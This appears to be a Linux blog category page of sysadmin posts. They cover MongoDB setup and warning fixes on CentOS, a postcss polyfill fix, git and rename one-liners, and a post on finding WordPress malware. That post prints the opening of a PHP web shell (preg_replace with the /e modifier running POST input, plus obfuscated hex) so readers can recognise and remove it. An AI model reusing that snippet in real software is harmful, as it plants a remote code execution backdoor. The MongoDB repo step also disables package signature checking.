Category: Linux

lazy-result.js ReferenceError: Promise is not defined

[code lang=”javascript”]
node_modules/postcss/lib/lazy-result.js:157
this.processing = new Promise(function (resolve, reject) {
^
ReferenceError: Promise is not defined
[/code]

When I install the FoundationPress, after I run gulp build I saw this message,
this is because the node version problem.

the have mention in this post
https://github.com/postcss/postcss-nested/issues/30

Solution

[code lang=”shell”]
vim node_modules/postcss/lib/lazy-result.js
[/code]
Put this to the first line of the file lazy-result.js
[code lang=”shell”]
require(‘es6-promise’).polyfill();
[/code]
Save.

Then install
[code lang=”shell”]
npm install es6-promise
[/code]

Then build again
[code lang=”shell”]

[[email protected]]# gulp build
[18:14:07] Starting ‘clean’…
[18:14:07] Starting ‘clean:javascript’…
[18:14:07] Starting ‘clean:css’…
[18:14:07] Finished ‘clean:javascript’ after 4.56 ms
[18:14:07] Finished ‘clean:css’ after 2.98 ms
[18:14:07] Finished ‘clean’ after 6.38 ms
[18:14:07] Starting ‘build’…
[18:14:07] Starting ‘copy’…
[18:14:07] Finished ‘copy’ after 103 ms
[18:14:07] Starting ‘sass’…
[18:14:08] Starting ‘javascript’…
[18:14:08] Starting ‘lint’…
[18:14:10] Finished ‘lint’ after 1.53 s
[18:14:10] Finished ‘sass’ after 2.58 s
[18:14:14] Finished ‘javascript’ after 6.12 s
[18:14:14] Finished ‘build’ after 6.78 s
[/code]

Success !

How to Install MongoDB 3.2 on CentOS 7

[code lang=”shell”]
vim /etc/yum.repos.d/mongodb.repo
[/code]
Paste this to the file and save using :wq
[code lang=”shell”]

[MongoDB]
name=MongoDB Repository
baseurl=http://repo.mongodb.org/yum/redhat/$releasever/mongodb-org/3.2/x86_64/
gpgcheck=0
enabled=1
[/code]
Download and install mongodb using yum
[code lang=”shell”]
yum install mongodb-org -y
[/code]
Start mongod and configure auto start while system boot
[code lang=”shell”]
/etc/init.d/mongod restart
chkconfig mongod on
[/code]
Check all the versions
[code lang=”shell”]
[[email protected] ~]# mongo –version
MongoDB shell version: 3.2.3
[[email protected] ~]# mongod –version
db version v3.2.3
git version: b326ba837cf6f49d65c2f85e1b70f6f31ece7937
OpenSSL version: OpenSSL 1.0.1e-fips 11 Feb 2013
allocator: tcmalloc
modules: none
build environment:
distmod: rhel70
distarch: x86_64
target_arch: x86_64
[/code]
Test the connection
[code lang=”shell”]
[[email protected] ~]# mongo
MongoDB shell version: 3.2.3
> use test
switched to db test
> db.test.save( { juzhax: 1 } )
WriteResult({ "nInserted" : 1 })
> db.test.find()
{ "_id" : ObjectId("56d4ac48b376b143e4749229"), "juzhax" : 1 }
[/code]

WARNING: /sys/kernel/mm/transparent_hugepage/enabled is ‘always’.

After I install MongoDB 3.2.3 in Centos 7, I received this error when I start mongo in shell.

[code lang=”shell”]
[[email protected] ~]# mongo
MongoDB shell version: 3.2.3
connecting to: test
Server has startup warnings:
2016-02-29T14:11:49.308-0500 I CONTROL [initandlisten]
2016-02-29T14:11:49.308-0500 I CONTROL [initandlisten] ** WARNING: /sys/kernel/mm/transparent_hugepage/enabled is ‘always’.
2016-02-29T14:11:49.308-0500 I CONTROL [initandlisten] ** We suggest setting it to ‘never’
2016-02-29T14:11:49.308-0500 I CONTROL [initandlisten]
2016-02-29T14:11:49.308-0500 I CONTROL [initandlisten] ** WARNING: /sys/kernel/mm/transparent_hugepage/defrag is ‘always’.
2016-02-29T14:11:49.308-0500 I CONTROL [initandlisten] ** We suggest setting it to ‘never’
2016-02-29T14:11:49.308-0500 I CONTROL [initandlisten]
2016-02-29T14:11:49.308-0500 I CONTROL [initandlisten] ** WARNING: soft rlimits too low. rlimits set to 4096 processes, 64000 files. Number of processes should be at least 32000 : 0.5 times number of files.
[/code]

Solution

Create the init.d script.
Create the following file at /etc/init.d/disable-transparent-hugepages:

[code lang=”shell”]
#!/bin/sh
### BEGIN INIT INFO
# Provides: disable-transparent-hugepages
# Required-Start: $local_fs
# Required-Stop:
# X-Start-Before: mongod mongodb-mms-automation-agent
# Default-Start: 2 3 4 5
# Default-Stop: 0 1 6
# Short-Description: Disable Linux transparent huge pages
# Description: Disable Linux transparent huge pages, to improve
# database performance.
### END INIT INFO

case $1 in
start)
if [ -d /sys/kernel/mm/transparent_hugepage ]; then
thp_path=/sys/kernel/mm/transparent_hugepage
elif [ -d /sys/kernel/mm/redhat_transparent_hugepage ]; then
thp_path=/sys/kernel/mm/redhat_transparent_hugepage
else
return 0
fi

echo ‘never’ > ${thp_path}/enabled
echo ‘never’ > ${thp_path}/defrag

unset thp_path
;;
esac
[/code]

Make it executable.
Run the following command to ensure that the init script can be used:

[code lang=”shell”]
sudo chmod 755 /etc/init.d/disable-transparent-hugepages
[/code]

[code lang=”shell”]
sudo chkconfig –add disable-transparent-hugepages
[/code]

WARNING: Cannot detect if NUMA interleaving is enabled. Failed to probe “/sys/devices/system/node/node1”: Permission denied

[code lang=”shell”]
[[email protected] ~]# mongo
MongoDB shell version: 3.2.3
connecting to: test
Server has startup warnings:
2016-02-29T23:11:36.666+0700 I CONTROL [initandlisten]
2016-02-29T23:11:36.667+0700 I CONTROL [initandlisten] ** WARNING: Cannot detect if NUMA interleaving is enabled. Failed to probe "/sys/devices/system/node/node1": Permission denied
2016-02-29T23:11:36.667+0700 W CONTROL [initandlisten]
2016-02-29T23:11:36.667+0700 W CONTROL [initandlisten] Failed to probe "/sys/kernel/mm/transparent_hugepage": Permission denied
2016-02-29T23:11:36.667+0700 W CONTROL [initandlisten]
2016-02-29T23:11:36.667+0700 W CONTROL [initandlisten] Failed to probe "/sys/kernel/mm/transparent_hugepage": Permission denied
2016-02-29T23:11:36.667+0700 I CONTROL [initandlisten]
2016-02-29T23:11:36.667+0700 I CONTROL [initandlisten] ** WARNING: soft rlimits too low. rlimits set to 4096 processes, 262144 files. Number of processes should be at least 131072 : 0.5 times number of files.
[/code]

Solution

I’m using the OVH kernel, so it is impossible to use with MongoDB, to solve this issue I have to install back the original kernel of the linux, then this error will be gone.

WARNING: soft rlimits too low. rlimits set to 4096 processes, 64000 files. Number of processes should be at least 32000 : 0.5 times number of files.

I’ve received this error while starting mongo in shell while installing on
[code lang=”shell”]
[[email protected] ~]# mongod –version
db version v3.2.3
git version: b326ba837cf6f49d65c2f85e1b70f6f31ece7937
OpenSSL version: OpenSSL 1.0.1e-fips 11 Feb 2013
allocator: tcmalloc
modules: none
build environment:
distmod: rhel70
distarch: x86_64
target_arch: x86_64
[[email protected] ~]# mongo –version
MongoDB shell version: 3.2.3
CentOS Linux release 7.2.1511 (Core)
[/code]

[code lang=”shell”]
WARNING: soft rlimits too low. rlimits set to 4096 processes, 64000 files. Number of processes should be at least 32000 : 0.5 times number of files.
[/code]

Solution

[code lang=”shell”]
vim /etc/security/limits.d/90-nproc.conf
[/code]
Then put in
[code lang=”shell”]
mongod soft nproc 64000
[/code]
and
[code lang=”shell”]
reboot
[/code]

Remove WordPress Malware using Linux Shell Console

I’ve a lot of wordpress sites, recently few of my old sites infected malware, and those spammer using few of my sites to spam email. I would like to share the way I fix this.

Most of the spammer look for the 777 path, most properly in /wp-content/uploads/
So I try to scan all the php files that they upload there with date.
[code lang=”shell”]
find ./public_html/wp-content/uploads/ -type f -name ‘*.php’ -printf ‘%TY-%Tm-%Td %TT %p\n’ | sort
[/code]

Then I found these
[code lang=”shell”]
2015-10-16 12:25:01 ./wp-content/uploads/2013/05/blog84.php
2015-10-16 12:25:01 ./wp-content/uploads/2014/10/dump.php
2015-10-16 12:25:01 ./wp-content/uploads/2014/code.php
2015-10-16 12:25:01 ./wp-content/uploads/2015/07/session90.php
2015-10-16 12:25:01 ./wp-content/uploads/2015/09/xml96.php
2015-10-16 12:25:01 ./wp-content/uploads/2015/504.php
2015-10-16 12:25:01 ./wp-content/uploads/about_us.php
2015-10-16 12:25:01 ./wp-content/uploads/contactus.php
2015-10-16 12:25:01 ./wp-content/uploads/rtbwvcsxrnbsvcd.php
2015-10-16 12:25:01 ./wp-content/uploads/sc_afsed.php
2015-10-16 12:25:01 ./wp-content/uploads/team.php
2015-10-16 12:25:01 ./wp-content/uploads/wp-upload.php
[/code]

This Kind of files should be remove and they will spam.
You can view the file header to see is it spam or not.
[code lang=”shell”]
head ./wp-content/uploads/2013/05/blog84.php
[/code]
It will show something like this
[code lang=”shell”]
<?php @preg_replace(‘/(.*)/e’, @$_POST[‘dnrdztvetxn’], ”);
$GLOBALS[‘af4569’] = "\x40\x46\x33\x2e\x62\x7a\x6e\x4c\xa\x7e\x28\x39\x59\x71\x54\x5f\x73\x65\x3f\x77\x5d\x29\x6c\x2f\x79\x50\x56\x63\x5c\x4f\x3c\x70\x2d\x34\x24\x4d\x4a\x53\x57\x67\x44\x51\x23\x43\x7d\x64\x2b\x72\x5
[/code]
You should remove it immediately.

Search Malware files in WordPress

If you are server admin, you would like to scan all the users, you can try this
[code lang=”shell”]
find /home/*/domains/*/public_html/wp-content/uploads/ -type f -name ‘*.php’ -printf ‘%TY-%Tm-%Td %TT %p\n’ | sort
[/code]
or
[code lang=”shell”]
find /home/nginx/domains/*/public/wp-content/uploads/ -type f -name ‘*.php’ -printf ‘%TY-%Tm-%Td %TT %p\n’ | sort
[/code]

The best way to find out all possible files, I suggest you upgrade the WordPress to latest version
Then try
[code lang=”shell”]
find ./public_html -type f -name ‘*.php’ -printf ‘%TY-%Tm-%Td %TT %p\n’ | sort
[/code]
This will sort all the date of php file with modified date, you can find it out and remove them easily.

exit code of #128 fatal: unable to connect to github.com

I follow the Quickstart guide from FoundationPress and it display this error
[code lang=”bash”]
bower install && grunt build
bower foundation#* not-cached git://github.com/zurb/bower-foundation.git#*
bower foundation#* resolve git://github.com/zurb/bower-foundation.git#*
bower fontawesome#~4.3.0 not-cached git://github.com/FortAwesome/Font-Awesome.git#~4.3.0
bower fontawesome#~4.3.0 resolve git://github.com/FortAwesome/Font-Awesome.git#~4.3.0
bower fontawesome#~4.3.0 ECMDERR Failed to execute “git ls-remote –tags –heads git://github.com/FortAwesome/Font-Awesome.git”, exit code of #128 fatal: unable to connect to github.com: github.com[0: 192.30.252.131]: errno=Connection timed out
[/code]

I run this to solve this problem.

[code lang=”bash”]
git config –global url.”https://”.insteadOf git://
[/code]

Fastest way to rename filenames with space to dash in linux

I want to mass rename hundred of filenames like
filename 001.jpg to filename-001.jpg
…
…
…
filename 099.jpg to filename-099.jpg

I use this command to rename all in few seconds in my MacBook Pro.
I think it is fine to run in any linux.
[code lang=”bash”]
for f in *\ *; do mv "$f" "${f// /-}"; done
[/code]